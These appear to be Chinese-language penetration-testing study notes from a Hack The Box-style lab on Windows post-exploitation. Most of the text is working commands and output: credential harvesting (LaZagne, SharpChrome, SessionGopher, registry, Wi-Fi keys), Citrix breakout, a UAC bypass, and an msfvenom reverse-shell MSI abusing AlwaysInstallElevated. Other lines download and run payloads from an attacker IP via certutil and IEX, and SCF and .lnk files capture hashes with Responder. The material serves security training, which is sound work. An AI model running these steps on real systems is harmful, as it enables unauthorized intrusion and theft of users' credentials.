1 2 3 PS C:\> (Get-PSReadLineOption ).HistorySavePathC:\Users\htb-student \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
读取 PowerShell 历史文件
1 2 3 4 5 6 7 8 9 10 PS C:\> gc (Get-PSReadLineOption ).HistorySavePathdir cd Tempmd backupscp c:\inetpub\wwwroot\* .\backups\Set-ExecutionPolicy Bypass -Scope Process -Force ; [System.Net.ServicePointManager ]::SecurityProtocol = [System.Net.ServicePointManager ]::SecurityProtocol -bor 3072 ; iex ((New-Object System.Net.WebClient).DownloadString('https://www.powershellgallery.com/packages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1' )). .\Get-IISsite .ps1 Get-IISsite -Server WEB02 -web "Default Web Site" wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd :true /u:WEB02\administrator /p:5 erv3rAdmin! /r :WEB02
检索当前用户能够访问的所有 Powershell 历史文件的内容。
1 2 3 4 5 6 7 8 9 10 PS C:\> foreach ($user in ((ls C:\users).fullname)){cat "$user \AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}dir cd Tempmd backupscp c:\inetpub\wwwroot\* .\backups\Set-ExecutionPolicy Bypass -Scope Process -Force ; [System.Net.ServicePointManager ]::SecurityProtocol = [System.Net.ServicePointManager ]::SecurityProtocol -bor 3072 ; iex ((New-Object System.Net.WebClient).DownloadString('https://www.powershellgallery.com/packages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1' )). .\Get-IISsite .ps1 Get-IISsite -Server WEB02 -web "Default Web Site" wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd :true /u:WEB02\administrator /p:5 erv3rAdmin! /r :WEB02
PowerShell 凭据 PowerShell 凭据通常用于脚本和自动化任务,以便于存储加密凭据。凭据使用DPAPI 进行保护,这通常意味着它们只能由创建它们的同一台计算机上的同一用户解密。
例如,以下脚本Connect-VC.ps1
是系统管理员创建的,以便轻松连接到 vCenter 服务器
1 2 3 4 5 $encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml' $decryptedPassword = $encryptedPassword .GetNetworkCredential().PasswordConnect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword
解密 PowerShell 凭据,如果获得了该用户上下文中的命令执行权限,或者可以滥用 DPAPI,那么可以从encrypted.xml
中恢复明文凭证。
1 2 3 4 5 6 7 8 9 PS C:\> $credential = Import-Clixml -Path 'C:\scripts\pass.xml' PS C:\> $credential .GetNetworkCredential().usernamebob PS C:\> $credential .GetNetworkCredential().passwordStr0ng3ncryptedP@ss!
Other Files 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\*
Credential Theft Cmdkey Saved Credentials cmdkey 命令可用于创建、列出和删除已存储的用户名和密码。用户可能希望存储特定主机的凭据,或使用它来存储终端服务连接的凭据,以便使用远程桌面连接到远程主机而无需输入密码。
1 2 3 4 5 C:\> cmdkey /list Target : LegacyGeneric:target =TERMSRV /SQL01 Type : Generic User : inlanefreight \bob
尝试通过 RDP 连接到主机时,将使用保存的凭据。
重用凭据,以该用户的身份向自己发送反向 shell,或者运行二进制文件
1 PS C:\> runas /savecred /user:inlanefreight\bob "COMMAND HERE"
Browser Credentials 用户通常会在浏览器中存储经常访问的应用程序的凭据。可以使用SharpChrome 等工具从 Google Chrome 中检索 cookie 和已保存的登录信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 PS C:\> .\SharpChrome.exe logins /unprotect __ _ (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ __) | | (_| | |_) \_ | | | (_) | | | (/_ | v1.7.0 [*] Action: Chrome Saved Logins Triage [*] Triaging Chrome Logins for current user [*] AES state key file : C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State [*] AES state key : 5 A2BF178278C85E70F63C4CC6593C24D61C9E2D38683146F6201B32D5B767CA0 --- Chrome Credential (Path: C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data ) --- file_path,signon_realm,origin_url,date_created,times_used,username,password C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data ,https://vc01.inlanefreight.local/,https://vc01.inlanefreight.local/ui,4 /12 /2021 5 :16 :52 PM,13262735812597100 ,bob@inlanefreight.local,Welcome1
Password Managers 密码管理器可能是桌面应用程序(例如KeePass
)、云解决方案(例如1Password
)或企业密码库(例如Thycotic
或CyberArk
)。获取密码管理器的访问权限(尤其是 IT 人员或整个部门使用的密码管理器)可能导致以管理员级别访问高价值目标(例如网络设备、服务器、数据库等)。
Email 如果以具有 Microsoft Exchange 收件箱的域用户身份访问已加入域的系统,可以尝试使用MailSniper 工具在用户的电子邮件中搜索“pass”、“creds”、“credentials”等术语。
LaZagne LaZagne 工具,尝试从 Web 浏览器、聊天客户端、数据库、电子邮件、内存转储、各种系统管理工具和内部密码存储机制(即 Autologon、Credman、DPAPI、LSA 机密等)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 PS C:\> .\lazagne.exe all|====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ------------------- Winscp passwords ----------------- [+] Password found !!! URL: transfer.inlanefreight.local Login: root Password: Summer2020! Port: 22 ------------------- Credman passwords ----------------- [+] Password found !!! URL: dev01.dev.inlanefreight.local Login: jordan_adm Password: ! Q A Z z a q 1 [+] 2 passwords have been found. For more information launch it again with the -v optionelapsed time = 5.50499987602
SessionGopher SessionGopher 提取已保存的 PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP 凭据。
需要本地管理员访问权限来检索HKEY_USERS
中每个用户的存储会话信息,但始终值得以当前用户身份运行以查看是否可以找到任何有用的凭据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 PS C:\> Import-Module .\SessionGopher.ps1 PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01 o_ / ". SessionGopher ," _-" ," m m ..+ ) Brandon Arvanaghi `m..m Twitter: @arvanaghi | arvanaghi.com [+] Digging on WINLPE-SRV01 ... WinSCP Sessions Source : WINLPE-SRV01 \htb-student Session : Default%20 Settings Hostname : Username : Password : PuTTY Sessions Source : WINLPE-SRV01 \htb-student Session : nix03 Hostname : nix03.inlanefreight.local SuperPuTTY Sessions Source : WINLPE-SRV01 \htb-student SessionId : NIX03 SessionName : NIX03 Host : nix03.inlanefreight.local Username : srvadmin ExtraArgs : Port : 22 Putty Session : Default Settings
Clear-Text Password Storage in the Registry 某些程序和 Windows 配置可能会导致明文密码或其他数据存储在注册表中。虽然Lazagne
和SessionGopher
等工具是提取凭据的好方法,但也应该熟悉并习惯手动枚举它们。
枚举 Autologon 自动登录帐户的典型配置涉及手动设置以下注册表项:
AdminAutoLogon
- 确定自动登录是否启用或禁用。值为“1”表示已启用。
DefaultUserName
- 保存将自动登录的帐户的用户名的值。
DefaultPassword
- 保存先前指定的用户帐户的密码值。
1 2 3 4 5 6 7 8 9 10 11 C:\>reg query "HKEY_LOCAL_MACHINE \SOFTWARE \Microsoft \Windows NT \CurrentVersion \Winlogon " HKEY_LOCAL_MACHINE \SOFTWARE \Microsoft \Windows NT \CurrentVersion \Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 <SNIP > AutoAdminLogon REG_SZ 1 DefaultUserName REG_SZ \htb -student DefaultPassword REG_SZ \_ @cademy_stdnt !
PuTTY 1 Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION NAME>
此特定注册表项的访问控制与配置和保存会话的用户帐户绑定。因此,为了查看它,需要以该用户身份登录并搜索HKEY_CURRENT_USER
配置单元。随后,如果具有管理员权限,将能够在 中相应用户的配置单元下找到它HKEY_USERS
。
枚举可用的已保存会话
1 2 3 PS C:\> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\SessionsHKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20 ssh
查看发现的会话 kali%20ssh
的键和值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20 sshHKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20 ssh Present REG_DWORD 0 x1 HostName REG_SZ LogFileName REG_SZ putty.log <SNIP> ProxyDNS REG_DWORD 0 x1 ProxyLocalhost REG_DWORD 0 x0 ProxyMethod REG_DWORD 0 x5 ProxyHost REG_SZ proxy ProxyPort REG_DWORD 0 x50 ProxyUsername REG_SZ administrator ProxyPassword REG_SZ 1 _4m_th3_@cademy_4dm1n!
Wifi Passwords 如果获得具有无线网卡的用户工作站的本地管理员访问权限,就可以列出他们最近连接的任何无线网络。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 C:\> netsh wlan show profile Profiles on interface Wi -Fi :Group policy profiles (read only )-------------------------------- <None > User profiles ------------ All User Profile : Smith Cabin All User Profile : Bob 's iPhone All User Profile : EE_Guest All User Profile : EE_Guest 2.4 All User Profile : ilfreight_corp
检索已保存的无线密码,根据网络配置,可以检索预共享密钥(Key Content
见下文)并可能访问目标网络。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 C:\> netsh wlan show profile ilfreight_corp key =clear Profile ilfreight_corp on interface Wi -Fi :======================================================================= Applied : All User Profile Profile information -------------------- Version : 1 Type : Wireless LAN Name : ilfreight_corp Control options : Connection mode : Connect automatically Network broadcast : Connect only if this network is broadcasting AutoSwitch : Do not switch to other networks MAC Randomization : Disabled Connectivity settings -------------------- Number of SSIDs : 1 SSID name : "ilfreight_corp " Network type : Infrastructure Radio type : [ Any Radio Type ] Vendor extension : Not present Security settings -------------------- Authentication : WPA2 -Personal Cipher : CCMP Authentication : WPA2 -Personal Cipher : GCMP Security key : Present Key Content : ILFREIGHTWIFI -CORP123908 ! Cost settings -------------------- Cost : Unrestricted Congested : No Approaching Data Limit : No Over Data Limit : No Roaming : No Cost Source : Default
Citrix Breakout 许多组织利用虚拟化平台(如终端服务、Citrix、AWS AppStream、CyberArk PSM 和 Kiosk)提供远程访问解决方案,以满足其业务需求。然而,大多数组织在其桌面环境中实施了”锁定”措施,以最大限度地减少恶意员工和受感染帐户对整个域安全的潜在影响。虽然这些桌面限制可以阻止威胁行为者,但他们仍有可能”突破”受限环境。
突破的基本方法:
获得Dialog Box
的访问权限。
利用对话框来实现command execution
。
Escalate privileges
以获得更高级别的访问权限。
使用生成的目标的 RDP 会话访问 http://humongousretail.com/remote/,并使用下面提供的凭据登录。登录后,单击默认桌面以获取 Citrix launch.ica 文件以连接到受限环境。
1 2 3 Username: pmorgan Password: Summer1Summer! Domain: \.local
绕过路径限制 通过 Citrix 部署的众多桌面应用程序都具备与操作系统上的文件交互的功能。保存、另存为、打开、加载、浏览、导入、导出、帮助、搜索、扫描和打印等功能通常为攻击者提供了调用 Windows 对话框的机会。
可以在文件名字段下输入 UNC 路径 \\127.0.0.1\c$\users\pmorgan
,将文件类型设置为所有文件
1 \\127.0.0.1\c$\users\pmorgan
从受限环境访问 SMB 共享 由于设置了限制,文件资源管理器不允许直接访问攻击者机器上的 SMB 共享或托管 Citrix 环境的 Ubuntu 服务器上的 SMB 共享。但是,通过利用 Windows 对话框中的 UNC 路径,可以绕过此限制。
1 smbserver.py -smb2support share $(pwd)
UNC 路径
由于文件资源管理器中存在限制,因此无法直接复制文件。不过,另一种方法是右键单击可执行文件,然后启动它。
可执行文件 pwn.exe 是从 pwn.c 文件的自定义编译二进制文件。
1 2 3 4 #include <stdlib.h> int main () { system("C:\Windows\\System32\\cmd.exe" ); }
替代资源管理器 如果对文件资源管理器施加了严格限制,可以使用替代文件系统编辑器(如 Q-Dir 或 Explorer++)作为解决方法。这些工具可以绕过组策略强制执行的文件夹限制,允许用户浏览和访问在标准文件资源管理器环境中原本受限制的文件和目录。
由于存在限制,文件资源管理器以前无法从 SMB 共享复制文件。但是,通过使用 Explorer++
,已成功演示了将文件从 \\10.13.38.95\share
位置复制到属于用户 pmorgan
的桌面的功能(如以下屏幕截图所示)。
备用注册表编辑器 同样,当默认注册表编辑器被组策略阻止时,可以使用替代注册表编辑器来绕过标准组策略限制。Simpleregedit、Uberregedit 和 SmallRegistryEditor 就是此类 GUI 工具的示例,它们有助于编辑 Windows 注册表,而不会受到组策略强加的阻止的影响。
修改现有快捷方式文件 通过修改现有 Windows 快捷方式并在目标字段中设置所需的可执行文件的路径来实现对文件夹路径的未经授权的访问。
以下步骤概述了该过程:
右键单击所需的快捷方式
选择属性
在该Target
字段内,修改要访问的文件夹的路径
执行快捷方式,将生成 cmd
如果现有快捷方式文件不可用,可以考虑其他方法。一种选择是使用 SMB 服务器传输现有快捷方式文件。或者,可以使用 PowerShell 创建新的快捷方式文件,如“生成恶意 .lnk 文件”选项卡下的“与用户交互”部分中所述。
脚本执行 当脚本扩展名(例如 .bat、.vbs 或 .ps)配置为使用各自的解释器自动执行其代码时,它就有可能删除可用作交互式控制台或促进下载和启动各种第三方应用程序的脚本,从而绕过现有的限制。
创建一个新的文本文件并将其命名为”evil.bat”
使用文本编辑器(例如记事本)打开”evil.bat”
在文件中输入命令”cmd”
执行”evil.bat”文件后,它将启动命令提示符窗口。
提升权限 一旦建立了对命令提示符的访问,就可以更轻松地搜索系统中的漏洞。例如,还可以使用Winpeas 和PowerUp 等工具来识别操作系统中的潜在安全问题和漏洞。
使用PowerUp.ps1
,如发现“Always Install Elevated” 键存在并设置
还可以通过查询相应的注册表项来使用命令提示符来验证这一点:
1 2 3 4 5 6 7 8 9 10 C:\> reg query HKCU \SOFTWARE \Policies \Microsoft \Windows \Installer /v AlwaysInstallElevated HKEY_CURRENT_USER \SOFTWARE \Policies \Microsoft \Windows \Installer AlwaysInstallElevated REG_DWORD 0x1 C :\> reg query HKLM \SOFTWARE \Policies \Microsoft \Windows \Installer /v AlwaysInstallElevated HKEY_LOCAL_MACHINE \SOFTWARE \Policies \Microsoft \Windows \Installer AlwaysInstallElevated REG_DWORD 0x1
利用 PowerUp 的Write-UserAddMSI
功能。此功能可帮助直接在桌面上创建.msi
文件。
1 2 3 4 5 6 PS C:\Users\pmorgan\Desktop> Import-Module .\PowerUp.ps1PS C:\Users\pmorgan\Desktop> Write-UserAddMSI Output Path ----------- UserAdd.msi
现在可以执行 UserAdd.msi 并在管理员组下创建一个新用户 backdoor:T3st@123。请注意,如果为其输入的密码不符合密码复杂性标准,则会引发错误。
1 2 3 4 C:\> runas /user:backdoor cmd Enter the password for backdoor : T3st @123Attempting to start cmd as user "VDESKTOP3 \backdoor " ...
Bypass UAC 即使新建立的用户后门是管理员组的成员,由于存在用户帐户控制 (UAC),访问 C:\Users\Administrator
目录仍然不可行。UAC 是 Windows 中实现的一种安全机制,用于保护操作系统免受未经授权的更改。使用 UAC,每个需要管理员访问令牌的应用程序都必须提示最终用户同意。
1 2 3 C:\Windows \system32 > cd C :\Users \Administrator Access is denied .
有许多 UAC 绕过脚本可用,旨在帮助绕过主动用户帐户控制 (UAC) 机制。这些脚本提供了绕过 UAC 限制并获得提升权限的方法。
1 2 PS C:\Users\Public> Import-Module .\Bypass-UAC .ps1PS C:\Users\Public> Bypass-UAC -Method UacMethodSysprep
成功绕过 UAC 后,将打开一个具有更高权限的新 powershell 窗口,可以通过使用命令 whoami /all 或 whoami /priv 来确认这一点。
Others Breaking out of Citrix and other Restricted Desktop environments
Breaking out of Windows Environments
Interacting with Users 通过嗅探他们的网络流量/本地命令或攻击需要用户交互的已知易受攻击的服务来窃取毫无戒心的用户的凭据。
流量捕获 如果安装了Wireshark
,非特权用户可能能够捕获网络流量,因为默认情况下未启用将 Npcap 驱动程序访问限制为仅限管理员的选项。
另外,假设客户将置于环境中的攻击机器上。在这种情况下,值得运行tcpdump
或Wireshark
一段时间来查看通过网络传输的流量类型以及是否可以看到任何有趣的东西。可以从攻击框运行工具net-creds 来嗅探实时接口或 pcap 文件中的密码和哈希值。
进程命令行 当以用户身份获取 shell 时,可能会有计划任务或其他正在执行的进程在命令行上传递凭据。
可以使用类似下面的脚本来查找进程命令行,它每两秒捕获一次进程命令行,并将当前状态与之前的状态进行比较,输出任何差异。
1 2 3 4 5 6 7 8 9 while ($true ){ $process = Get-WmiObject Win32_Process | Select-Object CommandLine Start-Sleep 1 $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 }
将脚本托管在攻击机器上,并在目标主机上执行它
1 2 3 4 5 6 7 8 9 PS C:\> IEX (iwr 'http://10.10.10.205/procmon.ps1' ) InputObject SideIndicator ----------- ------------- @ {CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5 }} => @ {CommandLine=“C:\Windows\system32\cmd.exe” } => @ {CommandLine=\??\C:\Windows\system32\conhost.exe 0 x4} => @ {CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd } => @ {CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -ServerName :CortanaUI.AppXy7vb4pc2... <=
文件共享上的 SCF Windows 资源管理器使用 Shell 命令文件 (SCF) 在目录中上下移动、显示桌面等。可以操作 SCF 文件以使图标文件位置指向特定的 UNC 路径,并让 Windows 资源管理器在访问 .scf 文件所在的文件夹时启动 SMB 会话。如果将 IconFile 更改为控制的 SMB 服务器并运行Responder 、Inveigh 或InveighZero 等工具,通常可以捕获浏览共享的任何用户的 NTLMv2。
在此示例中,让创建以下文件并将其命名为 @Inventory.scf
(类似于目录中的另一个文件,因此它不会显得格格不入)。在文件名开头放置一个 @
,使其出现在目录顶部,以确保用户访问共享时 Windows 资源管理器能够看到并执行它。
1 2 3 4 5 [Shell] Command=2 IconFile=\\10.10.14.3\share\legit.ico [Taskbar] Command=ToggleDesktop
Responder 捕获哈希 在攻击机上启动 Responder 并等待用户浏览共享。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 $ sudo responder -wrf -v -I tun0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.0.2.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [ON] [+] Generic Options: Responder NIC [tun2] Responder IP [10.10.14.3] Challenge set [random] Don't Respond To Names ['ISATAP'] [!] Error starting SSL server on port 443, check permissions or other servers running. [+] Listening for events... [SMB] NTLMv2-SSP Client : 10.129.43.30 [SMB] NTLMv2-SSP Username : WINLPE-SRV01\Administrator [SMB] NTLMv2-SSP Hash : Administrator::WINLPE-SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010...<SNIP>...
使用恶意 .lnk 文件捕获哈希值 在 Server 2019 主机上,使用 SCF 不再有效,但可以使用恶意.lnk 文件实现相同的效果。可以使用各种工具来生成恶意 .lnk 文件,例如Lnkbomb ,因为它不像创建恶意 .scf 文件那么简单。也可以使用几行 PowerShell 来创建一个:
1 2 3 4 5 6 7 8 $objShell = New-Object -ComObject WScript.Shell$lnk = $objShell .CreateShortcut("C:\legit.lnk" )$lnk .TargetPath = "\\<attackerIP>\@pwn.png" $lnk .WindowStyle = 1 $lnk .IconLocation = "%windir%\system32\shell32.dll, 3" $lnk .Description = "Browsing to the directory where this file is saved will trigger an auth request." $lnk .HotKey = "Ctrl+Alt+O" $lnk .Save()
Pillaging 掠夺是从受感染系统获取信息的过程。这些信息可以是个人信息、公司蓝图、信用卡数据、服务器信息、基础设施和网络详细信息、密码或其他类型的凭证,以及与公司或正在进行的安全评估相关的任何信息。
以下是可以从受感染系统获取信息的一些来源:
已安装的应用程序
已安装的服务
网站
文件共享
数据库
目录服务(如 Active Directory、Azure AD 等)
名称服务器
部署服务
证书颁发机构
源代码管理服务器
虚拟化
消息传递
监控和记录系统
备份
敏感数据
用户信息
历史文件,有趣的文档(.doc/x、.xls/x、password. */pass.*等)
角色和权限
Web 浏览器
即时通讯客户端
设想,已经在下文网络中提到的 Windows 服务器上站稳脚跟,并开始收集尽可能多的信息。
已安装的应用程序 了解被攻陷的系统上安装了哪些应用程序可能有助于在渗透测试期间实现目标。重要的是要知道每个渗透测试都是不同的。
常见应用程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\>dir "C :\Program Files " Volume in drive C has no label . Volume Serial Number is 900E -A7ED Directory of C :\Program Files 07/14/2022 08:31 PM <DIR > . 07/14/2022 08:31 PM <DIR > .. 05/16/2022 03:57 PM <DIR > Adobe 05/16/2022 12:33 PM <DIR > Corsair 05/16/2022 10:17 AM <DIR > Google 05/16/2022 11:07 AM <DIR > Microsoft Office 15 07/10/2022 11:30 AM <DIR > mRemoteNG 07/13/2022 09:14 AM <DIR > OpenVPN 07/19/2022 09:04 PM <DIR > Streamlabs OBS 07/20/2022 07:06 AM <DIR > TeamViewer 0 File (s ) 0 bytes 16 Dir (s ) 351,524,651,008 bytes free
通过 PowerShell 和注册表项获取已安装的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PS C:\> $INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocationPS C:\> $INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocationPS C:\> $INSTALLED | ?{ $_ .DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize DisplayName DisplayVersion InstallLocation ----------- -------------- --------------- Adobe Acrobat DC (64 -bit ) 22.001 .20169 C:\Program Files\Adobe\Acrobat DC\ CORSAIR iCUE 4 Software 4.23 .137 C:\Program Files\Corsair\CORSAIR iCUE 4 Software Google Chrome 103.0 .5060.134 C:\Program Files\Google\Chrome\Application Google Drive 60.0 .2.0 C:\Program Files\Google\Drive File Stream\60.0 .2.0 \GoogleDriveFS.exe Microsoft Office Profesional Plus 2016 - es-es 16.0 .15330.20264 C:\Program Files (x86)\Microsoft Office Microsoft Office Professional Plus 2016 - en-us 16.0 .15330.20264 C:\Program Files (x86)\Microsoft Office mRemoteNG 1.62 C:\Program Files\mRemoteNG TeamViewer 15.31 .5 C:\Program Files\TeamViewer ...SNIP...
Clipboard 网络管理员使用密码管理器来存储他们的凭证并将密码复制并粘贴到登录表单中。由于这不涉及typing
密码,因此击键记录在这种情况下无效。clipboard
提供了对大量信息的访问,例如粘贴凭证和 2FA 软令牌,以及直接与 RDP 会话剪贴板交互的可能性。
使用Invoke-Clipboard 脚本来提取用户剪贴板数据。
1 2 PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1' )PS C:\> Invoke-ClipboardLogger
Invoke-ClipboardLogger 从剪贴板捕获凭据,该脚本将开始监视剪贴板中的条目并将其显示在 PowerShell 会话中。需要耐心等待,直到捕获敏感信息。
1 2 3 4 5 6 7 PS C:\> Invoke-ClipboardLogger https://portal.azure.com Administrator@something.com Sup9rC0mpl2xPa$ $ws0921lk
注意: 可以使用 Mimikatz 或键盘记录器等工具获取用户凭据。Metasploit 等 C2 框架包含用于键盘记录的内置功能。
Backup Servers 备份可用于在数据删除或损坏导致丢失后恢复数据,或恢复较早时间的数据。备份提供了一种简单的灾难恢复形式。某些备份系统可以重建计算机系统或其他复杂配置,例如 Active Directory 服务器或数据库服务器。
通常,备份系统需要一个帐户来连接到目标计算机并执行备份。大多数公司要求备份帐户在目标计算机上具有本地管理权限,以访问其所有文件和服务。
Miscellaneous Techniques Living Off The Land Binaries and Scripts (LOLBAS) LOLBAS 记录了可用于 Windows 系统上的“自谋生路”技术的二进制文件、脚本和库。这些二进制文件、脚本和库都是 Microsoft 签名的文件,它们要么是操作系统的原生文件,要么可以直接从 Microsoft 下载,并且具有对攻击者有用的意外功能。一些有趣的功能可能包括:
代码执行
代码编译
文件传输
持久性
绕过UAC
凭证盗窃
转储进程内存
键盘记录
逃避
DLL 劫持
Certutil 传输文件 certutil.exe 下载文件
1 PS C:\> certutil.exe -urlcache -split -f http://10.10 .14.3 :8080 /shell.bat shell.bat
Base64 编码/解码 传输
1 2 C:\> certutil -encode file1 encodedfile C :\> certutil -decode encodedfile file2
Always install with elevated privileges 可以通过本地组策略在以下路径下进行设置Always install with elevated privileges
来设置为Enabled
。
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
User Configuration\Administrative Templates\Windows Components\Windows Installer
枚举此设置
1 2 3 4 5 6 7 8 9 10 PS C:\> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\InstallerHKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0 x1 PS C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0 x1
生成恶意文件
1 $ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
上传到目标机器,并执行
1 C:\> msiexec /i c :\users \htb -student \desktop \aie.msi /quiet /qn /norestart
攻击机监听,NT AUTHORITY\SYSTEM
计划任务 默认情况下,只能看到由用户创建的任务和每个 Windows 操作系统都有的默认计划任务。遗憾的是,无法列出其他用户(如管理员)创建的计划任务,因为它们存储在中C:\Windows\System32\Tasks
,标准用户没有读取权限。可能会遇到以管理员身份运行的计划任务,其由于多种原因配置了弱的文件/文件夹权限。在这种情况下,可以编辑任务本身以执行意外操作或修改计划任务运行的脚本。
枚举计划任务 schtasks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 C:\> schtasks /query /fo LIST /v Folder : \INFO : There are no scheduled tasks presently available at your access level . Folder : \Microsoft INFO : There are no scheduled tasks presently available at your access level . Folder : \Microsoft \Windows INFO : There are no scheduled tasks presently available at your access level . Folder : \Microsoft \Windows \.NET Framework HostName : WINLPE -SRV01 TaskName : \Microsoft \Windows \.NET Framework \.NET Framework NGEN v4 .0.30319Next Run Time : N /A Status : Ready Logon Mode : Interactive /Background Last Run Time : 5/27/2021 12:23:27 PM Last Result : 0Author : N /A Task To Run : COM handler Start In : N /A Comment : N /A Scheduled Task State : Enabled Idle Time : Disabled Power Management : Stop On Battery Mode , No Start On Batteries Run As User : SYSTEM Delete Task If Not Rescheduled : Disabled Stop Task If Runs X Hours and X Mins : 02:00:00Schedule : Scheduling data is not available in this format .Schedule Type : On demand only Start Time : N /A Start Date : N /A End Date : N /A Days : N /A Months : N /A Repeat : Every : N /A Repeat : Until : Time : N /A Repeat : Until : Duration : N /A Repeat : Stop If Still Running : N /A <SNIP >
枚举计划任务 Powershell Get-ScheduledTask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 PS C:\> Get-ScheduledTask | select TaskName,State TaskName State -------- ----- .NET Framework NGEN v4.0.30319 Ready .NET Framework NGEN v4.0.30319 64 Ready .NET Framework NGEN v4.0.30319 64 Critical Disabled .NET Framework NGEN v4.0.30319 Critical Disabled AD RMS Rights Policy Template Management (Automated) Disabled AD RMS Rights Policy Template Management (Manual) Ready PolicyConverter Disabled SmartScreenSpecific Ready VerifiedPublisherCertStoreCheck Disabled Microsoft Compatibility Appraiser Ready ProgramDataUpdater Ready StartupAppTask Ready appuriverifierdaily Ready appuriverifierinstall Ready CleanupTemporaryState Ready DsSvcCleanup Ready Pre-staged app cleanup Disabled <SNIP>
用户/计算机描述字段 系统管理员可以将帐户详细信息(例如密码)存储在计算机或用户的帐户描述字段中。
